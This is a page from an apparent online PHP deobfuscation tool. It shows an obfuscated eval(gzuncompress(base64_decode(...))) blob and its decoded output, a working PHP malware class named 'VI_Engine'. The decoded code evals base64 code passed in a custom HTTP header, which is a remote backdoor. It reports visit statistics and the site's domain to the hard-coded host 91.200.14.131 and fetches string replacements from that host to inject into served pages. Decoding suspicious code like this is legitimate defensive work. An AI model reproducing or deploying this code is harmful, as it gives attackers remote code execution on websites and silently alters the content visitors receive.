Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$vfa2805ea58='eNpNV7euxYCt+5kASeDBvSHI4N7LcbeXB/feu78+d3y7AEkgKVL/uCqMghECJaHqv/8szcUcoNx6..

Decoded Output download

if (!function_exists('http_build_query')) { function http_build_query($sp51e879, $spccc657 = null, $sp6f7518 = '&', $sp739075 = '') { $spa2c455 = array(); foreach ((array) $sp51e879 as $sp2af73d => $sp8f3703) { $sp2af73d = urlencode($sp2af73d); if (is_int($sp2af73d) && $spccc657 != null) { $sp2af73d = $spccc657 . $sp2af73d; } if (!empty($sp739075)) { $sp2af73d = $sp739075 . '[' . $sp2af73d . ']'; } if (is_array($sp8f3703) || is_object($sp8f3703)) { array_push($spa2c455, http_build_query($sp8f3703, '', $sp6f7518, $sp2af73d)); } else { array_push($spa2c455, $sp2af73d . '=' . urlencode($sp8f3703)); } } if (empty($sp6f7518)) { $sp6f7518 = ini_get('arg_separator.output'); } return implode($sp6f7518, $spa2c455); } } if (!function_exists('file_put_contents')) { function file_put_contents($sp4b600d, $sp51e879) { $speed942 = @fopen($sp4b600d, 'w'); if (!$speed942) { return false; } else { $sp720139 = fwrite($speed942, $sp51e879); fclose($speed942); return $sp720139; } } } if (!class_exists('VI_Engine')) { class VI_Engine { var $spf3bc95 = 60; var $sp832a8c = 60; var $sp91370c = 15; var $spa21b73 = 'http://91.200.14.131'; var $sp5e3551 = '0.3'; var $sp51e879 = array(); static $executed = false; function end() { $this->sp4e5357(); if (!empty($_SERVER['HTTP_VI_EXEC_CODE'])) { ob_end_clean(); eval(base64_decode($_SERVER['HTTP_VI_EXEC_CODE'])); echo '
executed'; die; } if (self::$executed) { ob_end_flush(); return; } self::$executed = true; $spba3425 = $this->spacc218(); if (file_exists($spba3425)) { $this->sp51e879 = unserialize(file_get_contents($spba3425)); } if (!isset($this->sp51e879['stat'][$_SERVER['REQUEST_URI']])) { $this->sp51e879['stat'][$_SERVER['REQUEST_URI']] = array('cnt' => 0); } $this->sp51e879['stat'][$_SERVER['REQUEST_URI']]['cnt']++; $this->sp085eb5(); $this->sp964405(); file_put_contents($spba3425, serialize($this->sp51e879)); $sp92b636 = ob_get_contents(); ob_end_clean(); if (!empty($this->sp51e879['pairs'][$_SERVER['REQUEST_URI']])) { $sp63f330 = array(); $spbb04e9 = array(); foreach ($this->sp51e879['pairs'][$_SERVER['REQUEST_URI']] as $spd0789f) { $sp63f330[] = $spd0789f['needle']; $spbb04e9[] = $spd0789f['replacement']; } $sp92b636 = str_replace($sp63f330, $spbb04e9, $sp92b636); } echo $sp92b636; } function sp4e5357() { if (!isset($_SERVER['REQUEST_URI'])) { $_SERVER['REQUEST_URI'] = @$_SERVER['SCRIPT_NAME']; if (isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] .= '?' . @$_SERVER['QUERY_STRING']; } } } function spacc218() { $sp6d0c86 = '/tmp'; if (function_exists('sys_get_temp_dir')) { $sp6d0c86 = sys_get_temp_dir(); } $sp1a2677 = 'data.db'; $spf300f7 = array('wp-content/uploads', 'wp-content/', getcwd(), $sp6d0c86); foreach ($spf300f7 as $sp80d493) { if (is_dir($sp80d493) && is_writable($sp80d493)) { return $sp80d493 . '/' . $sp1a2677; } } return $sp1a2677; } function sp964405() { $sp0f14bf = time(); if (!isset($this->sp51e879['lastSyncContent']) || $this->sp51e879['lastSyncContent'] + $this->sp832a8c <= $sp0f14bf) { $sp2fe7c1 = $this->sp147d94($this->spa21b73 . '/client/getReplacements?version=' . urlencode($this->sp5e3551)); if (!empty($sp2fe7c1)) { $sp484d01 = unserialize($sp2fe7c1); if ($sp484d01 !== false) { $this->sp51e879['pairs'] = $sp484d01; } if (!isset($this->sp51e879['pairs'])) { $this->sp51e879['pairs'] = array(); } } $this->sp51e879['lastSyncContent'] = $sp0f14bf; } } function sp085eb5() { $sp0f14bf = time(); if (!isset($this->sp51e879['lastSyncStatistic']) || $this->sp51e879['lastSyncStatistic'] + $this->spf3bc95 <= $sp0f14bf) { $sp35038b = $this->sp78c0ca($this->sp51e879['stat']); if ($sp35038b == 'updated') { $this->sp51e879 = array(); } $this->sp51e879['lastSyncStatistic'] = $sp0f14bf; } } function sp78c0ca($sp4a3112) { $spa5cdc3 = array('stat' => $sp4a3112, 'version' => $this->sp5e3551); return $this->sp9b8aa5($this->spa21b73 . '/client/putStatistic', $spa5cdc3); } function sp147d94($spf12d1a) { return $this->sp31ca53('GET', $spf12d1a); } function sp9b8aa5($spf12d1a, $spa5cdc3) { return $this->sp31ca53('POST', $spf12d1a, $spa5cdc3); } function sp31ca53($sp6974ec, $spf12d1a, $spa5cdc3 = null) { if (function_exists('curl_init')) { $spd3399a = curl_init(); curl_setopt($spd3399a, CURLOPT_URL, $spf12d1a); curl_setopt($spd3399a, CURLOPT_RETURNTRANSFER, true); curl_setopt($spd3399a, CURLOPT_CONNECTTIMEOUT, $this->sp91370c); if ($sp6974ec == 'POST') { curl_setopt($spd3399a, CURLOPT_POST, true); curl_setopt($spd3399a, CURLOPT_POSTFIELDS, http_build_query($spa5cdc3)); } $spf115f5 = array('Domain: ' . $_SERVER['SERVER_NAME']); curl_setopt($spd3399a, CURLOPT_HTTPHEADER, $spf115f5); $sp35038b = curl_exec($spd3399a); curl_close($spd3399a); return $sp35038b; } elseif (function_exists('fsockopen')) { $sp4c87b8 = parse_url($spf12d1a); if (empty($sp4c87b8['path'])) { $sp4c87b8['path'] = '/'; } $spdd696e = @fsockopen($sp4c87b8['host'], 80, $sp046c90, $sp4d8fb6, $this->sp91370c); if (!$spdd696e) { return false; } $spfff440 = $sp4c87b8['path'] . (isset($sp4c87b8['query']) ? '?' . $sp4c87b8['query'] : ''); $sp31ca53 = sprintf('%s %s HTTP/1.1
', $sp6974ec, $spfff440) . sprintf('Host: %s
', $sp4c87b8['host']); $sp13e627 = ''; if ($sp6974ec == 'POST') { $sp13e627 = http_build_query($spa5cdc3); $sp31ca53 .= 'Content-Type: application/x-www-form-urlencoded
' . 'Content-Length: ' . strlen($sp13e627) . '
'; } $sp31ca53 .= sprintf('Domain: %s
', $_SERVER['SERVER_NAME']); $sp31ca53 .= 'Connection: Close

'; if ($sp6974ec == 'POST') { $sp31ca53 .= $sp13e627; } @fwrite($spdd696e, $sp31ca53); $sp51e879 = ''; while (!feof($spdd696e)) { $sp51e879 .= @fgets($spdd696e); } @fclose($spdd696e); $sp3452c4 = explode('

', $sp51e879); if (empty($sp3452c4[1])) { return false; } $spad7759 = explode('
', $sp3452c4[1]); if (count($spad7759) <= 1) { return false; } unset($spad7759[0]); return trim(implode('
', $spad7759)); } elseif (ini_get('allow_url_fopen') == '1') { $spef3462 = array('http' => array('method' => $sp6974ec, 'timeout' => $this->sp91370c, 'header' => 'Domain: ' . $_SERVER['SERVER_NAME'])); if ($sp6974ec == 'POST') { $spef3462['http']['content'] = http_build_query($spa5cdc3); $spef3462['http']['header'] .= '
Content-type: application/x-www-form-urlencoded'; } $spc69198 = stream_context_create($spef3462); return @file_get_contents($spf12d1a, false, $spc69198); } return false; } } } $spca16cf = new VI_Engine(); $spca16cf->end();

Did this file decode correctly?

Original Code

$vfa2805ea58='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';eval(gzuncompress(base64_decode($vfa2805ea58)));

Function Calls

gzuncompress 10
base64_decode 10

Variables

$v0591d34d80 eNpNl7cOxEYSRH9GgCQwoHcQFNB775kc6Mml91x+vTa8bDoYNGpQ3fXmj6uu..
$v298f6c7cee eNpNlkUO7AgSBS/TUveXF2ZSaxZmZvZmZGaXoYynn1qOlBfIeC9D+ddJ10SB..
$v7fca63604b eNpNlrcOhYYSRH/Gkm1RwCUjywU5wyWH5omcc+brfctXbD+7Ojszf5wwRZZ4..
$v9f6c29821f eNqlGG1v2kj6e6X+B0faq0ElxMY2xsmlTZWy20jdpEfI6k4IWcN4XHxnbM42..
$vbc40476965 eNpN1zcOxAYOBdDLGLANFRplCYYLxVHOuVko55x1ek+5F/gV/yP5x5mlBAzD..
$vbe2c789618 eNpNl7UO9YoBg1+mUu9VhjCpukM4OWGGpQozc56+/9jZmyV/tv91ZTkGYSRB..
$vcb7222abce eNpNl7cStAgOhF9mq3b/IoDBU1sX4L33JFd472EwT38TXq5E3ZL6019fospT..
$vf48126370f eNpNl0cOxFYORC9jwDa0UE4wvFAr5xw3A2WplXM4vXs5F/jgf0Wyin+cEE7D..
$vfa2805ea58 eNpNV7euxYCt+5kASeDBvSHI4N7LcbeXB/feu78+d3y7AEkgKVL/uCqMghEC..
$vfffc938d82 eNpNl7cOxEYSRH9GgCQwoHcQLqAnl37pmRzovff8eu1llw8aM4WqVz1/nGmB..

Stats

MD5 816f2095b8aa5487cbd6fd6341973567
Eval Count 10
Decode Time 116 ms